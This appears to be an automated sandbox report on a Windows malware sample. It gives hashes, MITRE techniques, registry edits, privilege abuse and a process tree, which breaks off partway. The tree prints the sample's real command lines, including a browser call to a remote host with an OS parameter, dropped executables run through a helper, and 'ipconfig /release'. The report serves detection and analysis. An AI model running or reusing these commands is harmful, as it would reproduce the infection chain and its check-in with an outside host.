8088278539c8a19ab0b1e28949d0a3344b6dc20d42595a6fcc0439be971d339b

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/07/2026, 10:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe
Size 243KB
Sample260731-m1636a1dnd
SHA256 8088278539c8a19ab0b1e28949d0a3344b6dc20d42595a6fcc0439be971d339b
MD5 d69d3a9f91e9beec9ad0dd8df0ce5b42
SHA1 01be74b34bf3ecf100187ddd81af61951c675edf
SHA512 228c2b8775ded6d354535d8a1483582fd9b8de7378f592ae2f3e12fc6cde5e5b3e42e857957e05f2fa4289bea0d9b8128f7599f9c2edd8b10fe07afbd8ed3f56
SSDEEP 3072:SMaGii9ILTQJh/7yga3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7c:kGii9IL8Xa3lLNngoqRttA7c
TLSH
T12434490272818031E71A0B78046AE7A146BE7D344FB5E58FF7683B795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
868	CP.exe
3892	vqoigbytql.exe
4644	CP.exe
4880	CP.exe
2632	i_vqoigbytql.exe
3884	vqlidbvtnl.sys
220	CP.exe
4944	lgdysqlidb.exe
2244	CP.exe
4188	CP.exe
548	i_lgdysqlidb.exe
1772	fdxvqnigay.sys
3932	CP.exe
2644	ysnlfdxvpn.exe
2448	CP.exe
2472	CP.exe
2764	i_ysnlfdxvpn.exe
4984	dxvpnhfaxs.sys
456	CP.exe
3416	nhfausnhfz.exe
2092	CP.exe
4692	CP.exe
4124	i_nhfausnhfz.exe
2904	ausmkfcxvp.sys
816	CP.exe
632	pkhcausmke.exe
3108	CP.exe
4508	CP.exe
2484	i_pkhcausmke.exe
4092	mkecxupmhf.sys
4568	CP.exe
2176	fzxrpjhczu.exe
768	CP.exe
1704	CP.exe
4004	i_fzxrpjhczu.exe
3396	ecwuomhezx.sys
744	CP.exe
2344	wrpjhbztrm.exe
4928	CP.exe
4740	CP.exe
464	i_wrpjhbztrm.exe
3760	bwuomgeywr.sys
2396	CP.exe
3172	jgbztrljdb.exe
752	CP.exe
4820	CP.exe
1748	i_jgbztrljdb.exe
3396	ojgbztrljd.sys
432	CP.exe
2556	dywqoigbyt.exe
3404	CP.exe
4712	CP.exe
5064	i_dywqoigbyt.exe
2032	dywqoigbyt.sys
4496	CP.exe
4196	toigaysqlj.exe
2200	CP.exe
1556	CP.exe
4788	i_toigaysqlj.exe
4380	qlfdxvqnig.sys
1544	CP.exe
4860	faysqkicav.exe
4212	CP.exe
2224	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhcausmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrpjhbztrm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrpjhbztrm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_toigaysqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfausnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xspkicausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywrojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhcausmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkecxupmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bytrljdbwq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqkidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqkidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqoigbytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgdysqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfausnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxrpjhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xspkicausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xsnkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysnlfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysnlfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xsnkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytrljdbwq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkicavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqoigbytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	toigaysqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkecxupmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgdysqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywrojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkicavsnlf.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2152	ipconfig.exe
4248	ipconfig.exe
4148	ipconfig.exe
3276	ipconfig.exe
4148	ipconfig.exe
1784	ipconfig.exe
4148	ipconfig.exe
4892	ipconfig.exe
1480	ipconfig.exe
3060	ipconfig.exe
4728	ipconfig.exe
4348	ipconfig.exe
2484	ipconfig.exe
4516	ipconfig.exe
4168	ipconfig.exe
4828	ipconfig.exe
4588	ipconfig.exe
3280	ipconfig.exe
4132	ipconfig.exe
3668	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000994ecf19d48ae9428d4805a6fac8221300000000020000000000106600000001000020000000658f4e4b1143022c4b08ca5974f3a96aff5c8695020f6f1c653577fe11513aae000000000e8000000002000020000000eabaccba7db9d6c2cb84e231f385aa16bf5c8853f926e4f46a4284ab9a173cc52000000090e2cfba95158225af521010a2f727c5ef9bde80fe2f1268664c0889ab78bad2400000009c436df68da95e4e383596f3ce0cc5ce314a91c5578da0d0a216616d387b36671f8aad2e64dee0e7ee958f90126b7d8afd3713c03558970f3b9aaa5a8f9b360b	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c03a21c4e320dd01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "492260408"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1851508965"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000994ecf19d48ae9428d4805a6fac822130000000002000000000010660000000100002000000038ba7f99f15e3b491024ae45ae8928777e07757263f0f9fc85cb731e46be5d13000000000e8000000002000020000000aa4b9069921b4722bd080edd3dc14cd0dbd4dc478ab97c93d1d581aaac62d6742000000028cfc5ad8945f9728ca166a9fd3b1d4ae59cd8886f53b45bad0a9f00759de77c4000000023785e1b294adefdd255708a0b02a654a764d97fcceb38cca35958d9e63d46121be191f34973435fad4fcd2f18e69469b55bdac84d58cf4b441573bcc4625fda	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31269083"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{8D14A8B6-8CCE-11F1-AA2C-62F9C1B4CF77} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1646196079"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31269083"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d07f1cc4e320dd01	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	2632	i_vqoigbytql.exe
Token: SeDebugPrivilege	548	i_lgdysqlidb.exe
Token: SeDebugPrivilege	2764	i_ysnlfdxvpn.exe
Token: SeDebugPrivilege	4124	i_nhfausnhfz.exe
Token: SeDebugPrivilege	2484	i_pkhcausmke.exe
Token: SeDebugPrivilege	4004	i_fzxrpjhczu.exe
Token: SeDebugPrivilege	464	i_wrpjhbztrm.exe
Token: SeDebugPrivilege	1748	i_jgbztrljdb.exe
Token: SeDebugPrivilege	5064	i_dywqoigbyt.exe
Token: SeDebugPrivilege	4788	i_toigaysqlj.exe
Token: SeDebugPrivilege	3444	i_faysqkicav.exe
Token: SeDebugPrivilege	1340	i_xspkicausm.exe
Token: SeDebugPrivilege	3808	i_xsnkfcxvpn.exe
Token: SeDebugPrivilege	4908	i_smkecxupmh.exe
Token: SeDebugPrivilege	3652	i_jhbztrmjec.exe
Token: SeDebugPrivilege	2388	i_eywrojgbzt.exe
Token: SeDebugPrivilege	3304	i_hbztrljebw.exe
Token: SeDebugPrivilege	2640	i_bytrljdbwq.exe
Token: SeDebugPrivilege	2580	i_vqkidbvtnl.exe
Token: SeDebugPrivilege	4952	i_qkicavsnlf.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4724	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4724	iexplore.exe
4724	iexplore.exe
3096	IEXPLORE.EXE
3096	IEXPLORE.EXE
3096	IEXPLORE.EXE
3096	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 4724	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	82
PID 4724 wrote to memory of 3096	4724	iexplore.exe	83
PID 2800 wrote to memory of 868	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	84
PID 3892 wrote to memory of 4644	3892	vqoigbytql.exe	87
PID 2800 wrote to memory of 4880	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	90
PID 2800 wrote to memory of 220	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	100
PID 4944 wrote to memory of 2244	4944	lgdysqlidb.exe	102
PID 2800 wrote to memory of 4188	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	105
PID 2800 wrote to memory of 3932	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	109
PID 2644 wrote to memory of 2448	2644	ysnlfdxvpn.exe	111
PID 2800 wrote to memory of 2472	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	114
PID 2800 wrote to memory of 456	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	120
PID 3416 wrote to memory of 2092	3416	nhfausnhfz.exe	122
PID 2800 wrote to memory of 4692	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	127
PID 2800 wrote to memory of 816	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	133
PID 632 wrote to memory of 3108	632	pkhcausmke.exe	135
PID 2800 wrote to memory of 4508	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	138
PID 2800 wrote to memory of 4568	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	142
PID 2176 wrote to memory of 768	2176	fzxrpjhczu.exe	144
PID 2800 wrote to memory of 1704	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	147
PID 2800 wrote to memory of 744	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	151
PID 2344 wrote to memory of 4928	2344	wrpjhbztrm.exe	153
PID 2800 wrote to memory of 4740	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	158
PID 2800 wrote to memory of 2396	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	164
PID 3172 wrote to memory of 752	3172	jgbztrljdb.exe	166
PID 2800 wrote to memory of 4820	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	172
PID 2800 wrote to memory of 432	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	177
PID 2556 wrote to memory of 3404	2556	dywqoigbyt.exe	179
PID 2800 wrote to memory of 4712	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	182
PID 2800 wrote to memory of 4496	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	186
PID 4196 wrote to memory of 2200	4196	toigaysqlj.exe	188
PID 2800 wrote to memory of 1556	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	191
PID 2800 wrote to memory of 1544	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	195
PID 4860 wrote to memory of 4212	4860	faysqkicav.exe	197
PID 2800 wrote to memory of 2224	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	200
PID 2800 wrote to memory of 2656	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	207
PID 4544 wrote to memory of 3856	4544	xspkicausm.exe	209
PID 2800 wrote to memory of 4696	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	212
PID 2800 wrote to memory of 4872	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	216
PID 3928 wrote to memory of 4256	3928	xsnkfcxvpn.exe	218
PID 2800 wrote to memory of 4456	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	221
PID 2800 wrote to memory of 4876	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	225
PID 3764 wrote to memory of 4988	3764	smkecxupmh.exe	227
PID 2800 wrote to memory of 3512	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	230
PID 2800 wrote to memory of 3924	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	234
PID 4940 wrote to memory of 4728	4940	jhbztrmjec.exe	236
PID 2800 wrote to memory of 3432	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	239
PID 2800 wrote to memory of 1228	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	243
PID 2684 wrote to memory of 548	2684	eywrojgbzt.exe	245
PID 2800 wrote to memory of 640	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	251
PID 2800 wrote to memory of 4204	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	253
PID 2516 wrote to memory of 2436	2516	hbztrljebw.exe	255
PID 2800 wrote to memory of 2172	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	258
PID 2800 wrote to memory of 2660	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	263
PID 4884 wrote to memory of 3232	4884	bytrljdbwq.exe	265
PID 2800 wrote to memory of 2132	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	268
PID 2800 wrote to memory of 3244	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	272
PID 2976 wrote to memory of 2624	2976	vqkidbvtnl.exe	274
PID 2800 wrote to memory of 2828	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	277
PID 2800 wrote to memory of 1212	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	281
PID 3352 wrote to memory of 1912	3352	qkicavsnlf.exe	283
PID 2800 wrote to memory of 1788	2800	2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe	286

C:\Users\Admin\AppData\Local\Temp\2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-31_d69d3a9f91e9beec9ad0dd8df0ce5b42_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4724 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:3096
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vqoigbytql.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:868
- - C:\Temp\vqoigbytql.exe
    C:\Temp\vqoigbytql.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4644
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vqoigbytql.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4880
- - C:\Temp\i_vqoigbytql.exe
    C:\Temp\i_vqoigbytql.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lgdysqlidb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:220
- - C:\Temp\lgdysqlidb.exe
    C:\Temp\lgdysqlidb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2244
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lgdysqlidb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4188
- - C:\Temp\i_lgdysqlidb.exe
    C:\Temp\i_lgdysqlidb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:548
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ysnlfdxvpn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3932
- - C:\Temp\ysnlfdxvpn.exe
    C:\Temp\ysnlfdxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2448
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4132
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ysnlfdxvpn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2472
- - C:\Temp\i_ysnlfdxvpn.exe
    C:\Temp\i_ysnlfdxvpn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2764
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhfausnhfz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:456
- - C:\Temp\nhfausnhfz.exe
    C:\Temp\nhfausnhfz.exe ups_run
    3⤵
